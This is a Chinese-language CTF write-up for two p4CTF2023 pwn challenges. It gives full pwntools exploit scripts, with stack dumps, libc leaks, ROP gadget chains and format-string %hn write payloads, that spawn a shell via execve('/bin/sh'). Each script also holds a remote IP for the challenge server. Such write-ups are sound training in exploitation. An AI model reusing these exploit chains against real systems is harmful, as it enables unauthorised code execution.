0%

p4CTF2023

easy_pwneasy

1
2
3
4
5
6
pwneasy: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c3f0880bf68ea5bca97853dd259cf44c5f1f9e5a, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,NX,PIE

漏洞思路

1
2
3
4
5
6
7
8
9
10
11
for ( i = 0; i <= 2; ++i )
{
printf("give me address: ");
read(0, buf_addr, 0x20uLL);
addr = (_QWORD *)atoll(buf_addr);
printf("give me value: ");
read(0, buf_value, 0x20uLL);
value = atoll(buf_value);
set(addr, value);
printf("OK %s = %s\n", buf_addr, buf_value);
}
  • 程序非常简洁,就只有3次任意地址写的机会

程序提供的功能太少,我的第一反应是看看栈上有没有遗留的地址可以利用:

1
pwn(1,1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> telescope 0x7ffc64422df0-0x60 /* buf_value */
00:0000│ rsp rcx-1 0x7ffc64422d90 ◂— 0x31 /* '1' */
01:00080x7ffc64422d98 ◂— 0x0
02:00100x7ffc64422da0 —▸ 0x7fe493363600 (_IO_file_jumps) ◂— 0x0
03:00180x7ffc64422da8 —▸ 0x7fe4931d762d (_IO_file_setbuf+13) ◂— test rax, rax
04:00200x7ffc64422db0 —▸ 0x7fe493367631 ◂— 0xd700007fe4933271
05:00280x7ffc64422db8 —▸ 0x7fe4931ce765 (setvbuf+245) ◂— cmp rax, 1
06:00300x7ffc64422dc0 ◂— 0x0
07:00380x7ffc64422dc8 —▸ 0x7ffc64422df0 —▸ 0x7ffc64422e00 ◂— 0x1
pwndbg> telescope 0x7ffc64422df0-0x40 /* buf_addr */
00:00000x7ffc64422db0 —▸ 0x7fe493367631 ◂— 0xd700007fe4933271
01:00080x7ffc64422db8 —▸ 0x7fe4931ce765 (setvbuf+245) ◂— cmp rax, 1
02:00100x7ffc64422dc0 ◂— 0x0
03:00180x7ffc64422dc8 —▸ 0x7ffc64422df0 —▸ 0x7ffc64422e00 ◂— 0x1
04:00200x7ffc64422dd0 —▸ 0x7ffc64422f18 —▸ 0x7ffc644240ee ◂— './pwneasy1'
05:00280x7ffc64422dd8 ◂— 0x1
06:00300x7ffc64422de0 ◂— 0x1
07:00380x7ffc64422de8 ◂— 0x904db1c7
  • 在 buf_addr 处有 libc 中遗留的地址,合理的覆盖低位就可以泄露 libc
  • 有 libc 任意写的机会

入侵思路

程序只提供了3次任意写的机会,但是我们可以通过覆盖 i 来将这个机会提升至无限次

覆盖 libc 末地址就可以泄露 libc_base:

1
2
3
4
5
6
pwn(p8(0x80),0)
p.recvuntil("OK ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x21a680
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

用同样的方法泄露遗留在栈上的栈地址,基于栈地址就可以覆盖 i 了:

1
2
3
4
5
6
7
8
pwn("0"*0x18,0)
p.recvuntil("OK 000000000000000000000000")
stack_addr = u64(p.recv(6).ljust(8,"\x00"))
valuei_addr = stack_addr - 8
success("stack_addr >> "+hex(stack_addr))
success("valuei_addr >> "+hex(valuei_addr))

pwn(str(valuei_addr)+"\n",0xffffffff00000000)

最后打栈溢出就可以了,不过直接调用 system 会触发段错误,于是我们选择执行 syscall

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# -*- coding:utf-8 -*-
from inspect import stack
from multiprocessing.dummy import Value
from random import randrange
from pwn import *

arch = 64
challenge = './pwneasy1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1283)\nb *$rebase(0x12B8)\n")
pause()

def cmd(op):
sla(">",str(op))

def pwn(addr,data):
sa("give me address: ",str(addr))
sa("give me value: ",str(data))

pwn(p8(0x80),0)
p.recvuntil("OK ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x21a680
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

pwn("0"*0x18,0)
p.recvuntil("OK 000000000000000000000000")
stack_addr = u64(p.recv(6).ljust(8,"\x00"))
valuei_addr = stack_addr - 8
success("stack_addr >> "+hex(stack_addr))
success("valuei_addr >> "+hex(valuei_addr))

pwn(str(valuei_addr)+"\n",0xffffffff00000000)
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_r12_ret = libc_base + 0x000000000011f497
syscall = libc_base + 0x0000000000029db4
system = libc_base + libc.sym["system"]
binsh_addr = libc_base + 0x1d8698
success("system >> "+hex(system))

pwn(str(valuei_addr)+"\n",0xffffffff00000000)
pwn(str(stack_addr+8)+"\n",str(pop_rdi_ret)+"\n")
pwn(str(stack_addr+8*2)+"\n",str(binsh_addr)+"\n")

pwn(str(valuei_addr)+"\n",0xffffffff00000000)
pwn(str(stack_addr+8*3)+"\n",str(pop_rdx_r12_ret)+"\n")
pwn(str(stack_addr+8*4)+"\n",str(0)+"\n")
pwn(str(stack_addr+8*5)+"\n",str(0)+"\n")

pwn(str(valuei_addr)+"\n",0xffffffff00000000)
pwn(str(stack_addr+8*6)+"\n",str(pop_rsi_ret)+"\n")
pwn(str(stack_addr+8*7)+"\n",str(0)+"\n")
pwn(str(stack_addr+8*8)+"\n",str(syscall)+"\n")

#debug()
pwn(str(valuei_addr)+"\n",0x300000000)

p.interactive()

the_bad_touch

1
2
3
4
5
6
bad: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=37fe215b6944a1cb29f0a404c1071f7cf67baaaf, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,PIE,NX

漏洞分析

两次格式化字符串漏洞:

1
2
3
4
5
void program()
{
doit();
doit();
}
1
2
3
4
5
6
7
8
9
10
void doit()
{
void *chunk; // [rsp+8h] [rbp-8h]

chunk = malloc(0x3E8uLL);
printf("try it: ");
read(0, chunk, 0x3E8uLL);
printf((const char *)chunk);
free(chunk);
}

入侵思路

有格式化字符串漏洞但是缓冲区在堆中,通过当前寄存器和栈可以泄露 heap_base,libc_base,libc_base,stack_addr:

1
2
3
4
5
6
*RCX  0x7faea9be9992 (read+18) ◂— cmp    rax, -0x1000 /* 'H=' */
*RDX 0x3e8
*RDI 0x555eeb6c32a0 ◂— '%3$p\n%1$p\n\n'
*RSI 0x555eeb6c32a0 ◂— '%3$p\n%1$p\n\n'
*R8 0x8
*R9 0x555eeb6c32a0 ◂— '%3$p\n%1$p\n\n'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
payload = "%3$p\n%1$p\n%9$p\n"
sla("try it: ",payload)

leak_addr = eval(p.recvuntil("\n")[:-1])
libc_base = leak_addr - 0x114992
leak_addr = eval(p.recvuntil("\n")[:-1])
heap_base = leak_addr - 0x2a0
leak_addr = eval(p.recvuntil("\n")[:-1])
pro_base = leak_addr - 0x1248
success("libc_base >> "+hex(libc_base))
success("heap_base >> "+hex(heap_base))
success("pro_base >> "+hex(pro_base))

io_list_all = libc_base + libc.sym["_IO_list_all"]
one_gadget = libc_base + 0xebcf1
success("io_list_all >> "+hex(io_list_all))
success("one_gadget >> "+hex(one_gadget))

接着就需要用到非栈上 fmt 的技巧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> telescope 0x7fff32e28280
00:0000│ rsp 0x7fff32e28280 —▸ 0x7fff32e283c8 —▸ 0x7fff32e290d6 ◂— 0x4c00316461622f2e /* './bad1' */
01:00080x7fff32e28288 —▸ 0x55b00dcf82a0 ◂— '%10c$13hn\n'
02:0010│ rbp 0x7fff32e28290 —▸ 0x7fff32e282a0 —▸ 0x7fff32e282b0 ◂— 0x1
03:00180x7fff32e28298 —▸ 0x55b00ce2e252 ◂— nop
04:00200x7fff32e282a0 —▸ 0x7fff32e282b0 ◂— 0x1
05:00280x7fff32e282a8 —▸ 0x55b00ce2e26d ◂— mov eax, 0
06:00300x7fff32e282b0 ◂— 0x1
07:00380x7fff32e282b8 —▸ 0x7fb072b0bd90 (__libc_start_call_main+128) ◂— mov edi, eax
08:00400x7fff32e282c0 ◂— 0x0
09:00480x7fff32e282c8 —▸ 0x55b00ce2e255 ◂— push rbp
0a:00500x7fff32e282d0 ◂— 0x100000000
0b:00580x7fff32e282d8 —▸ 0x7fff32e283c8 —▸ 0x7fff32e290d6 ◂— 0x4c00316461622f2e /* './bad1' */
0c:00600x7fff32e282e0 ◂— 0x0
0d:00680x7fff32e282e8 ◂— 0x1149dda85894f8f3
0e:00700x7fff32e282f0 —▸ 0x7fff32e283c8 —▸ 0x7fff32e290d6 ◂— 0x4c00316461622f2e /* './bad1' */
0f:00780x7fff32e282f8 —▸ 0x55b00ce2e255 ◂— push rbp
10:00800x7fff32e28300 —▸ 0x55b00ce30dd8 —▸ 0x55b00ce2e130 ◂— endbr64
11:00880x7fff32e28308 —▸ 0x7fb072d46040 (_rtld_global) —▸ 0x7fb072d472e0 —▸ 0x55b00ce2d000 ◂— 0x10102464c457f
12:00900x7fff32e28310 ◂— 0xeeb7b86d5d16f8f3
13:00980x7fff32e28318 ◂— 0xee2938c9221ef8f3

对于非栈上 fmt 有两个关键点:

  • 修改栈指针,使两个栈指针最终指向同一片空间(需要修改的目标)
  • 覆盖返回地址写循环

位于 0x7fff32e282900x7fff32e282a0 这两处地址的空间正好符合条件,在实际利用的过程中遇到了一下问题:

  • %n 修改过的栈空间并不能第一时间生效(第二个 %n 不会识别修改后的数据,而是会识别修改前的)
  • printf 不会调用 buffered_vfprintf 而是直接 jmp 过去(这意味着不能通过覆盖 __vfprintf_internal 的返回地址来实现循环)

最后想出的解决办法是:第一次 fmt 使用 1/4096 的概率修改栈指针为函数 doit 的返回地址

1
2
3
4
magic = 0xdbe8-0x38
payload = "%3$p\n%1$p\n%9$p\n%6$p\n"
payload += "%{}c%8$hn\n".format(magic)
sla("try it: ",payload)

在后续操作中交替覆盖函数 doit 的返回地址和函数 main 的返回地址,构造出 ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def pwn(target):
global magic_stack2
if(target < 0x10000):
payload = "%{}c%8$hn\n%{}c%10$hn\n".format(magic_stack1,magic_gadget-1-magic_stack1).ljust(0x60,"\x00")
sla("try it: ",payload)
magic_stack2 = magic_stack2 + 8

for i in range(3):
magic_gadget = (target >> 16*i)%0x10000

success("magic_gadget >> "+hex(magic_gadget))
if(magic_stack1 > magic_gadget):
payload = "%{}c%10$hn\n%{}c%8$hn\n".format(magic_gadget,magic_stack1-1-magic_gadget).ljust(0x60,"\x00")
sla("try it: ",payload)
else:
payload = "%{}c%8$hn\n%{}c%10$hn\n".format(magic_stack1,magic_gadget-1-magic_stack1).ljust(0x60,"\x00")
sla("try it: ",payload)

y = i+1
if(i == 2):
magic_stack2 = magic_stack2 + 8
y = 0

if(magic_stack2 > magic_main):
payload = "%{}c%10$hn\n%{}c%8$hn\n".format(magic_main,magic_stack2-1+2*y-magic_main).ljust(0x60,"\x00")
sla("try it: ",payload)
else:
payload = "{}c%8$hn\n%{}c%10$hn\n%".format(magic_stack2,magic_main-1+2*y-magic_stack2).ljust(0x60,"\x00")
sla("try it: ",payload)

还有最后一个问题:由于破坏了栈结构,导致 system("/bin/sh") 失效,如果构造 execve("/bin/sh",0,0) 则会受到格式化字符串 %n 的限制(写入的数据不能为“0”)

此时我们可以先构造 sys_read(0,stack,size),然后在栈上输入 ROP(利用 gadget 控制对应寄存器为“0”即可)

在 DEBUG 模式的配合下,勉强写出了可以在 DEBUG 模式中打通的 exp,但正常执行的程序怎么都爆破不出来,后来发现是 DEBUG 模式和正常模式的栈空间不太一样,修正 exp 后理论上可以爆破出 flag(关闭随机化后就可以打出 flag,但 1/4096 的概率太低了)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
# -*- coding:utf-8 -*-
from time import sleep
from pwn import *

arch = 64
challenge = './bad1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

cmd = "set debug-file-directory ./.debug/\nb *$rebase(0x1254)\n"

def debug():
#gdb.attach(p)
gdb.attach(p," b *$rebase(0x1226)\n")
pause()

def cmd(op):
sla(">",str(op))

def exp():
#debug()
def pwn(target):
global magic_stack2
if(target < 0x10000):
payload = "%{}c%8$hn\n%{}c%10$hn\n".format(magic_stack1,magic_gadget-1-magic_stack1).ljust(0x60,"\x00")
sla("try it: ",payload)
magic_stack2 = magic_stack2 + 8

for i in range(3):
magic_gadget = (target >> 16*i)%0x10000
success("magic_gadget >> "+hex(magic_gadget))
if(magic_stack1 > magic_gadget):
payload = "%{}c%10$hn\n%{}c%8$hn\n".format(magic_gadget,magic_stack1-1-magic_gadget).ljust(0x60,"\x00")
sla("try it: ",payload)
else:
payload = "%{}c%8$hn\n%{}c%10$hn\n".format(magic_stack1,magic_gadget-1-magic_stack1).ljust(0x60,"\x00")
sla("try it: ",payload)

y = i+1
if(i == 2):
magic_stack2 = magic_stack2 + 8
y = 0

if(magic_stack2 > magic_main):
payload = "%{}c%10$hn\n%{}c%8$hn\n".format(magic_main,magic_stack2-1+2*y-magic_main).ljust(0x60,"\x00")
sla("try it: ",payload)
else:
payload = "{}c%8$hn\n%{}c%10$hn\n%".format(magic_stack2,magic_main-1+2*y-magic_stack2).ljust(0x60,"\x00")
sla("try it: ",payload)

magic = 0xdc08-0x38
payload = "%3$p\n%1$p\n%9$p\n%6$p\n"
payload += "%{}c%8$hn\n".format(magic)
sla("try it: ",payload)

leak_addr = eval(p.recvuntil("\n")[:-1])
libc_base = leak_addr - 0x114992
leak_addr = eval(p.recvuntil("\n")[:-1])
heap_base = leak_addr - 0x2a0
leak_addr = eval(p.recvuntil("\n")[:-1])
pro_base = leak_addr - 0x1248
leak_addr = eval(p.recvuntil("\n")[:-1])
stack_addr = leak_addr - 0x148
success("libc_base >> "+hex(libc_base))
success("heap_base >> "+hex(heap_base))
success("pro_base >> "+hex(pro_base))
success("stack_addr >> "+hex(stack_addr))

io_list_all = libc_base + libc.sym["_IO_list_all"]
one_gadget = libc_base + 0x50a37
system = libc_base + libc.sym["system"]
binsh_addr = libc_base + 0x1d8698
pop_rax_ret = libc_base + 0x0000000000045eb0
pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rcx_ret = libc_base + 0x000000000008c6bb
pop_rbx_ret = libc_base + 0x0000000000035dd1
pop_rdx_r12_ret = libc_base + 0x000000000011f497
syscall_ret = libc_base + 0x0000000000091396
mov_rdi_rbx_call_rcx = libc_base + 0x000000000015e9d8
add_rax_1_ret = libc_base + 0x00000000000d83b0
mov_rax_n1_ret = libc_base + 0x000000000004244e
mov_rdx_256_ret =libc_base + 0x00000000000ecfe7

success("io_list_all >> "+hex(io_list_all))
success("system >> "+hex(system))
success("binsh_addr >> "+hex(binsh_addr))
success("pop_rdi_ret >> "+hex(pop_rdi_ret))
success("one_gadget >> "+hex(one_gadget))

magic_stack1 = (stack_addr + 0x18)%0x10000
magic_stack2 = (stack_addr + 0x38)%0x10000
magic_main = (pro_base + 0x123B)%0x10000
magic_one1 = (one_gadget)%0x10000
magic_one2 = (one_gadget >> 16)%0x10000

payload = "%{}c%10$hn\n%{}c%8$hn\n".format(magic_main,magic_stack2-1-magic_main).ljust(0x60,"\x00")
sla("try it: ",payload)

pwn(pop_rsi_ret)
pwn(stack_addr+0x80)
pwn(mov_rdx_256_ret)
pwn(mov_rax_n1_ret)
pwn(add_rax_1_ret)
pwn(pop_rcx_ret)
pwn(binsh_addr)
pwn(pop_rcx_ret)
pwn(syscall_ret)
pwn(mov_rdi_rbx_call_rcx)

sla("try it: ","1"*0x20)
sla("try it: ","2"*0x20)

payload = p64(pop_rax_ret)+p64(59)+p64(pop_rdi_ret)+p64(binsh_addr)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_r12_ret)+p64(0)+p64(0)+p64(syscall_ret)
sla("22222222222222222222222222222222",payload)

p.interactive()

while(1):
try:
local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, cmd)
else:
p = remote('119.13.105.35','10111')
exp()
sla("cat flag")
flag = p.recvline()
success("flag >> "+flag)
break
except:
p.close()